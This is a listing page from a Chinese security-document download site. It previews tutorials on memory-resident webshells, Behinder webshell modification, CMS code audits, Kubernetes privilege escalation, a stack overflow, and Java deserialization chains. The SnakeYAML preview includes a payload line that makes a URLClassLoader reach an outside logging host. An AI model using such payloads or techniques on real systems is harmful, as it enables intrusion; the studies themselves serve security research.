爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

Tomcat内存马——Filter/servlet/Listener/valve

# Tomcat内存马技术详解 ## 一、内存马概述内存马是一种驻留在服务器内存中的恶意程序，主要分为以下几类： 1. **servlet-api类** - filter型 - servlet型 - listener型 2. **spring类** - 拦截器 - controller型 3. **Java Instrumentation类** - agent型 ## 二、Filter型内存马 ### 实现原理请求会经过filter到达ser

2025-08-25 22:17:14

冰蝎各版本工具分析与魔改思路

# 冰蝎各版本工具分析与魔改思路 ## 0x00 V2版本分析 ### 1. 项目信息 - GitHub项目地址：https://github.com/rebeyond/Behinder/releases/ - V2源码地址：https://github.com/hktalent/afterLoader ### 2. 流量分析 **执行流程：** 1. 首次连接时，客户端发送GET请求，参数格式为`?pass=123` 2. 服务端随机生成128位密钥，回显给客户端并存入Session 3

2025-08-25 22:05:35

java代码审计之某办公oa

# OA办公自动化系统安全审计报告 ## 项目概述 OASYS是一个基于SpringBoot框架开发的OA办公自动化系统，主要技术栈包括： - 项目管理：Maven - 数据库：MySQL - 前端框架：Freemarker模板引擎 + Bootstrap - 持久层：集成JPA和Mybatis ## 环境搭建 1. 创建MySQL数据库`oasys` 2. 导入`oasys.sql`文件初始化数据库结构 3. 修改`application.properties`配置文件中的数据库连接信

2025-08-25 22:04:35

K8S云原生渗透实战

# Kubernetes云原生渗透实战教学文档 ## 1. 实战目标介绍 Kubernetes是一个开源的容器编排平台，用于管理云平台中多个主机上的容器化应用。本次实战目标是通过渗透测试某Kubernetes云原生产品，分享从普通用户权限提升到控制整个K8s集群的经验和技术。 ## 2. 初始访问 - 获取普通用户test1 - 通过信息收集和暴力破解手段获取普通用户test1的凭据 - 使用test1账号登录Kubernetes管理界面 ## 3. 创建Pod容器 1. 添加命名空

2025-08-25 22:03:15

对Java JFinal_cms的一次审计过程

# JFinal CMS 安全审计教学文档 ## 环境搭建 ### 源码获取 - GitHub: [JFinal CMS 源码](https://github.com) - Gitee: [JFinal CMS 源码](https://gitee.com) ### 数据库配置 1. 修改 `sql/jfinal_cms_v4.sql` 文件，在开头添加： ```sql create database jfinal_cms; use jfinal_cms; ``` 2

2025-08-25 22:01:42

十二年前的漏洞——对某旺控件栈溢出漏洞的学习

# 阿里旺旺ImageMan.dll控件栈溢出漏洞分析与复现 ## 漏洞概述本文详细分析阿里旺旺6.50.00C版本中ImageMan.dll控件的AutoPic函数栈溢出漏洞。该漏洞存在于一个ActiveX控件中，通过构造特殊的参数可导致栈缓冲区溢出，最终实现任意代码执行。 ## 环境准备 - 目标软件：阿里旺旺6.50.00C - 操作系统：Windows XP - 调试工具：OllyDbg(OD)或x64dbg - 辅助工具：COMRaider(用于ActiveX控件Fuzz测试

2025-08-25 22:00:37

JDBC MySQL任意文件读取分析

# JDBC MySQL任意文件读取漏洞分析与防护指南 ## 漏洞概述 JDBC MySQL驱动中存在一个任意文件读取漏洞，攻击者可以通过构造特殊的连接参数，利用MySQL的`LOAD DATA LOCAL`功能读取服务器上的任意文件。该漏洞主要影响MySQL Connector/J（JDBC驱动）的使用场景。 ## 漏洞原理 ### 核心机制 1. **MySQL文件读取功能**：MySQL服务端可以要求客户端读取有可读权限的任何文件（参考MySQL官方文档） 2. **JDBC连接

2025-08-25 21:59:04

Java安全SnakeYaml组件中类的探测到反序列化在SPI/C3P0/FastJson的利用

# SnakeYAML反序列化漏洞分析与利用 ## 反序列化探测技术 ### 使用URLClassLoader探测 ```java String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]"; ``` ### 使用Key调用hashCode方法探测 ```java String poc = "{!!j

2025-08-25 21:58:07

Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法

# Groovy组件安全研究：从反序列化到命令注入及防御 ## 1. Groovy反序列化漏洞分析 ### 1.1 漏洞影响范围 - 受影响的Groovy版本：1.7.0至2.4.3 ### 1.2 漏洞利用链 ``` AnnotationInvocationHandler.readObject() Map.entrySet() (Proxy) ConversionHandler.invoke() ConvertedClosure.invok

2025-08-25 21:56:44

PHP代码审计之wuzhicms

# WuzhiCMS 代码审计与漏洞分析报告 ## 环境搭建 1. 下载 WuzhiCMS 最新版本 2. 配置 PHP 运行环境（建议 PHP 5.6-7.4） 3. 配置数据库并安装系统 ## 系统架构分析 ### 核心框架流程 1. 入口文件 `index.php` 包含 `coreframe` 框架下的 `core.php` 文件 2. 调用 `load_class` 加载核心类 3. 实例化 `WUZHI_application` 类并调用其 `run()` 方法获取路由信息

2025-08-25 21:54:48

API钩取：进程的隐藏与全局钩取

# API钩取：进程的隐藏与全局钩取技术详解 ## 概述 API钩取是一种通过修改API函数执行流程来实现特定功能的技术。本文详细介绍了如何通过API钩取实现进程隐藏功能，并逐步完善了三种不同版本的实现方案（stealth.dll、stealth2.dll、stealth3.dll）。 ## 基本原理进程隐藏（Rootkit）的核心原理是通过修改系统API的执行流程，使得目标进程在进程枚举时不被显示。主要技术手段包括： 1. **IAT钩取**：修改导入地址表中的函数指针 2. **

2025-08-25 21:53:23

[Java安全]Commons Collections1初探过程的思考

# Apache Commons Collections 反序列化漏洞分析 (CC1链) ## 1. 前言本教程将详细分析Apache Commons Collections 1 (CC1)反序列化漏洞的利用链，包括TransformedMap和LazyMap两种利用方式。学习前请确保： 1. 环境准备： - JDK版本：8u71之前的版本（8u71及之后版本已修复） - Commons Collections版本：3.1-3.2.1 2. 必读参考资料： - Jav

2025-08-25 21:41:09

跳转到页